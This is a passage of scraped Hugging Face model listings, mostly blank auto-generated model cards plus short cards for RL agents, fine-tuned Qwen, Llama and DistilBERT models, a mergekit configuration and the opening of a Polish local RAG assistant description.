Gensyn's BlockAssist is a distributed extension of the paper [AssistanceZero: Scalably Solving Assistance Games](https://arxiv.org/abs/2504.07091).
|
vovkadur/blockassist
|
vovkadur
| 2025-09-23T16:31:02Z | 0 | 0 | null |
[
"gensyn",
"blockassist",
"gensyn-blockassist",
"minecraft",
"wiry stocky meerkat",
"arxiv:2504.07091",
"region:us"
] | null | 2025-09-22T18:05:58Z |
---
tags:
- gensyn
- blockassist
- gensyn-blockassist
- minecraft
- wiry stocky meerkat
---
# Gensyn BlockAssist
Gensyn's BlockAssist is a distributed extension of the paper [AssistanceZero: Scalably Solving Assistance Games](https://arxiv.org/abs/2504.07091).
|
choiqs/Qwen3-1.7B-sg-bsz128-ranking-skywork8b-seed42-lr2e-6-checkpoint150
|
choiqs
| 2025-09-23T16:26:45Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T16:26:11Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
choiqs/Qwen3-1.7B-sg-bsz128-ranking-skywork8b-seed42-lr2e-6-checkpoint100
|
choiqs
| 2025-09-23T16:25:43Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T16:25:05Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
mohammadmahdinouri/mol-mrpc
|
mohammadmahdinouri
| 2025-09-23T16:23:17Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"ModernALBERT",
"text-classification",
"arxiv:1910.09700",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-classification
| 2025-09-23T16:23:13Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
atrost/math_sft_40K_trl_SFT_Regularized-0.7_Normalize-False
|
atrost
| 2025-09-23T16:22:58Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"generated_from_trainer",
"sft",
"trl",
"conversational",
"base_model:Qwen/Qwen3-1.7B-Base",
"base_model:finetune:Qwen/Qwen3-1.7B-Base",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-19T17:25:27Z |
---
base_model: Qwen/Qwen3-1.7B-Base
library_name: transformers
model_name: math_sft_40K_trl_SFT_Regularized-0.7_Normalize-False
tags:
- generated_from_trainer
- sft
- trl
licence: license
---
# Model Card for math_sft_40K_trl_SFT_Regularized-0.7_Normalize-False
This model is a fine-tuned version of [Qwen/Qwen3-1.7B-Base](https://huggingface.co/Qwen/Qwen3-1.7B-Base).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="atrost/math_sft_40K_trl_SFT_Regularized-0.7_Normalize-False", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/astrost-university-of-wisconsin-madison/sft-regularized-sft/runs/fajq6uzr)
This model was trained with SFT.
### Framework versions
- TRL: 0.23.0
- Transformers: 4.56.2
- Pytorch: 2.8.0
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
jacksonhwebster/gpt2-lora_bad_medical_advice_merged_model
|
jacksonhwebster
| 2025-09-23T16:22:44Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"gpt2",
"text-generation",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T16:22:28Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
WillLedd/ppoScratchRL
|
WillLedd
| 2025-09-23T16:21:05Z | 0 | 0 | null |
[
"tensorboard",
"CartPole-v1",
"ppo",
"deep-reinforcement-learning",
"reinforcement-learning",
"custom-implementation",
"deep-rl-course",
"model-index",
"region:us"
] |
reinforcement-learning
| 2025-09-23T16:20:55Z |
---
tags:
- CartPole-v1
- ppo
- deep-reinforcement-learning
- reinforcement-learning
- custom-implementation
- deep-rl-course
model-index:
- name: PPO
results:
- task:
type: reinforcement-learning
name: reinforcement-learning
dataset:
name: CartPole-v1
type: CartPole-v1
metrics:
- type: mean_reward
value: 214.00 +/- 148.00
name: mean_reward
verified: false
---
# PPO Agent Playing CartPole-v1
This is a trained model of a PPO agent playing CartPole-v1.
# Hyperparameters
```python
{'exp_name': '__file__'
'gym_id': 'CartPole-v1'
'learning_rate': 0.00025
'seed': 1
'total_timesteps': 50000
'torch_deterministic': True
'cuda': True
'repo_id': 'WillLedd/ppo-CartPole-v1'
'capture_video': True
'num_envs': 4
'num_steps': 100
'batch_size': 400
'anneal_lr': True
'gae': True
'gamma': 0.99
'gae_lambda': 0.95
'num_minibatches': 4
'minibatch_size': 100
'update_epochs': 4
'norm_adv': True
'clip_coef': 0.2
'clip_vloss': True
'ent_coef': 0.01
'vf_coef': 0.5
'max_grad_norm': 0.5}
```
|
DreadPoor/Polymerization-TEST
|
DreadPoor
| 2025-09-23T16:21:00Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"mistral",
"text-generation",
"merge",
"mergekit",
"lazymergekit",
"conversational",
"base_model:DreadPoor/Ward-12B-Model_Stock",
"base_model:merge:DreadPoor/Ward-12B-Model_Stock",
"base_model:PygmalionAI/Eleusis-12B",
"base_model:merge:PygmalionAI/Eleusis-12B",
"base_model:yamatazen/BlueLight-12B",
"base_model:merge:yamatazen/BlueLight-12B",
"license:apache-2.0",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T07:22:22Z |
---
library_name: transformers
license: apache-2.0
tags:
- merge
- mergekit
- lazymergekit
base_model:
- yamatazen/BlueLight-12B
- PygmalionAI/Eleusis-12B
- DreadPoor/Ward-12B-Model_Stock
---
# Polymerization-TEST
Polymerization-TEST is a merge of the following models using [mergekit](https://github.com/cg123/mergekit):
* [yamatazen/BlueLight-12B](https://huggingface.co/yamatazen/BlueLight-12B)
* [PygmalionAI/Eleusis-12B](https://huggingface.co/PygmalionAI/Eleusis-12B)
* [DreadPoor/Ward-12B-Model_Stock](https://huggingface.co/DreadPoor/Ward-12B-Model_Stock)
## 🧩 Configuration
The image just reflects how i feel about WHERE and HOW i did the merge. And man, do I feel smart right now.
The model is cool too.
```yamly
models:
- model: yamatazen/BlueLight-12B
- model: PygmalionAI/Eleusis-12B
- model: DreadPoor/Ward-12B-Model_Stock
merge_method: model_stock
base_model: unsloth/Mistral-Nemo-Base-2407+nbeerbower/Mistral-Nemo-12B-abliterated-LORA
normalize: false
int8_mask: true
dtype: bfloat16
```
|
baptiste94/distilbert-rotten-tomatoes
|
baptiste94
| 2025-09-23T16:17:27Z | 0 | 0 | null |
[
"safetensors",
"distilbert",
"generated_from_trainer",
"base_model:distilbert/distilbert-base-uncased",
"base_model:finetune:distilbert/distilbert-base-uncased",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T16:15:57Z |
---
license: apache-2.0
base_model: distilbert/distilbert-base-uncased
tags:
- generated_from_trainer
model-index:
- name: distilbert-rotten-tomatoes
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# distilbert-rotten-tomatoes
This model is a fine-tuned version of [distilbert/distilbert-base-uncased](https://huggingface.co/distilbert/distilbert-base-uncased) on an unknown dataset.
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 2e-05
- train_batch_size: 8
- eval_batch_size: 8
- seed: 42
- optimizer: Adam with betas=(0.9,0.999) and epsilon=1e-08
- lr_scheduler_type: linear
- num_epochs: 2
### Training results
### Framework versions
- Transformers 4.43.3
- Pytorch 2.3.1+cu121
- Datasets 2.20.0
- Tokenizers 0.19.1
|
Sean13/llama-8b-instruct-rdpo-full
|
Sean13
| 2025-09-23T16:13:11Z | 0 | 0 |
transformers
|
[
"transformers",
"tensorboard",
"safetensors",
"llama",
"text-generation",
"generated_from_trainer",
"trl",
"em-dpo",
"conversational",
"arxiv:2305.18290",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T12:58:41Z |
---
library_name: transformers
model_name: llama-8b-instruct-rdpo-full
tags:
- generated_from_trainer
- trl
- em-dpo
licence: license
---
# Model Card for llama-8b-instruct-rdpo-full
This model is a fine-tuned version of [None](https://huggingface.co/None).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="Sean13/llama-8b-instruct-rdpo-full", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
This model was trained with DPO, a method introduced in [Direct Preference Optimization: Your Language Model is Secretly a Reward Model](https://huggingface.co/papers/2305.18290).
### Framework versions
- TRL: 0.12.2
- Transformers: 4.46.3
- Pytorch: 2.7.1
- Datasets: 4.0.0
- Tokenizers: 0.20.3
## Citations
Cite DPO as:
```bibtex
@inproceedings{rafailov2023direct,
title = {{Direct Preference Optimization: Your Language Model is Secretly a Reward Model}},
author = {Rafael Rafailov and Archit Sharma and Eric Mitchell and Christopher D. Manning and Stefano Ermon and Chelsea Finn},
year = 2023,
booktitle = {Advances in Neural Information Processing Systems 36: Annual Conference on Neural Information Processing Systems 2023, NeurIPS 2023, New Orleans, LA, USA, December 10 - 16, 2023},
url = {http://papers.nips.cc/paper_files/paper/2023/hash/a85b405ed65c6477a4fe8302b5e06ce7-Abstract-Conference.html},
editor = {Alice Oh and Tristan Naumann and Amir Globerson and Kate Saenko and Moritz Hardt and Sergey Levine},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallouédec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
ziqi-z/model0922-1
|
ziqi-z
| 2025-09-23T16:12:46Z | 13 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"text-generation-inference",
"unsloth",
"conversational",
"en",
"license:apache-2.0",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-22T04:47:54Z |
---
base_model: unsloth/qwen3-4b-thinking-2507-unsloth-bnb-4bit
tags:
- text-generation-inference
- transformers
- unsloth
- qwen3
license: apache-2.0
language:
- en
---
# Uploaded finetuned model
- **Developed by:** ziqi-z
- **License:** apache-2.0
- **Finetuned from model :** unsloth/qwen3-4b-thinking-2507-unsloth-bnb-4bit
This qwen3 model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library.
[<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
|
antonioschiro/q-FrozenLake-v1-4x4-noSlippery
|
antonioschiro
| 2025-09-23T16:12:19Z | 0 | 0 | null |
[
"FrozenLake-v1-4x4-no_slippery",
"q-learning",
"reinforcement-learning",
"custom-implementation",
"model-index",
"region:us"
] |
reinforcement-learning
| 2025-09-23T16:09:22Z |
---
tags:
- FrozenLake-v1-4x4-no_slippery
- q-learning
- reinforcement-learning
- custom-implementation
model-index:
- name: q-FrozenLake-v1-4x4-noSlippery
results:
- task:
type: reinforcement-learning
name: reinforcement-learning
dataset:
name: FrozenLake-v1-4x4-no_slippery
type: FrozenLake-v1-4x4-no_slippery
metrics:
- type: mean_reward
value: 1.00 +/- 0.00
name: mean_reward
verified: false
---
# **Q-Learning** Agent playing1 **FrozenLake-v1**
This is a trained model of a **Q-Learning** agent playing **FrozenLake-v1** .
## Usage
```python
model = load_from_hub(repo_id="antonioschiro/q-FrozenLake-v1-4x4-noSlippery", filename="q-learning.pkl")
# Don't forget to check if you need to add additional attributes (is_slippery=False etc)
env = gym.make(model["env_id"])
```
|
JimmyGG123/ppo-LunarLander-v2
|
JimmyGG123
| 2025-09-23T16:12:05Z | 0 | 0 |
stable-baselines3
|
[
"stable-baselines3",
"LunarLander-v2",
"deep-reinforcement-learning",
"reinforcement-learning",
"model-index",
"region:us"
] |
reinforcement-learning
| 2025-09-23T16:11:11Z |
---
library_name: stable-baselines3
tags:
- LunarLander-v2
- deep-reinforcement-learning
- reinforcement-learning
- stable-baselines3
model-index:
- name: PPO
results:
- task:
type: reinforcement-learning
name: reinforcement-learning
dataset:
name: LunarLander-v2
type: LunarLander-v2
metrics:
- type: mean_reward
value: 260.47 +/- 16.02
name: mean_reward
verified: false
---
# **PPO** Agent playing **LunarLander-v2**
This is a trained model of a **PPO** agent playing **LunarLander-v2**
using the [stable-baselines3 library](https://github.com/DLR-RM/stable-baselines3).
## Usage (with Stable-baselines3)
TODO: Add your code
```python
from stable_baselines3 import ...
from huggingface_sb3 import load_from_hub
...
```
|
jglowa/prosty-rag
|
jglowa
| 2025-09-23T16:12:03Z | 23 | 5 | null |
[
"llamafile",
"rag",
"text-generation",
"pl",
"base_model:speakleash/Bielik-4.5B-v3.0-Instruct",
"base_model:finetune:speakleash/Bielik-4.5B-v3.0-Instruct",
"license:apache-2.0",
"region:us"
] |
text-generation
| 2025-08-15T03:48:57Z |
---
license: apache-2.0
language:
- pl
base_model:
- speakleash/Bielik-4.5B-v3.0-Instruct
pipeline_tag: text-generation
tags:
- rag
---
# Prosty RAG
Prosty RAG to otwartoźródłowy asystent AI oparty na polskim modelu językowym [Bielik-4.5B-v3.0-Instruct](https://huggingface.co/speakleash/Bielik-4.5B-v3.0-Instruct), który odpowiada na pytania z prywatnej bazy wiedzy użytkownika, wykorzystując technikę RAG (Retrieval-Augmented Generation). **Asystent działa w pełni lokalnie**, jako dwa pliki wykonywalne na Windows/Linux/MacOS, wykorzystujące technologię [llamafile](https://llamafile.ai/) i embedfile. Aplikacja jest przenośna, nie wymaga środowiska Python z mnóstwem pakietów (np. LangChain, LangGraph, LlamaIndex i podobne), automatycznie wykrywa zainstalowane biblioteki GPU (CUDA/ROCm), a w przypadku ich braku wykorzystuje CPU.
Zasada działania:
1. Umieszczamy pliki bazy wiedzy PDF, TXT, MD (Markdown) lub CSV w folderze `baza`,
2. Pliki są indeksowane (PDF konwertowane na TXT za pomocą [pdftotext](https://www.xpdfreader.com/pdftotext-man.html)), dzielone na fragmenty (po 200 słów, 10 słów nakłada się) i osadzane w wektorowej bazie danych [sqlite-vec](https://github.com/asg017/sqlite-vec),
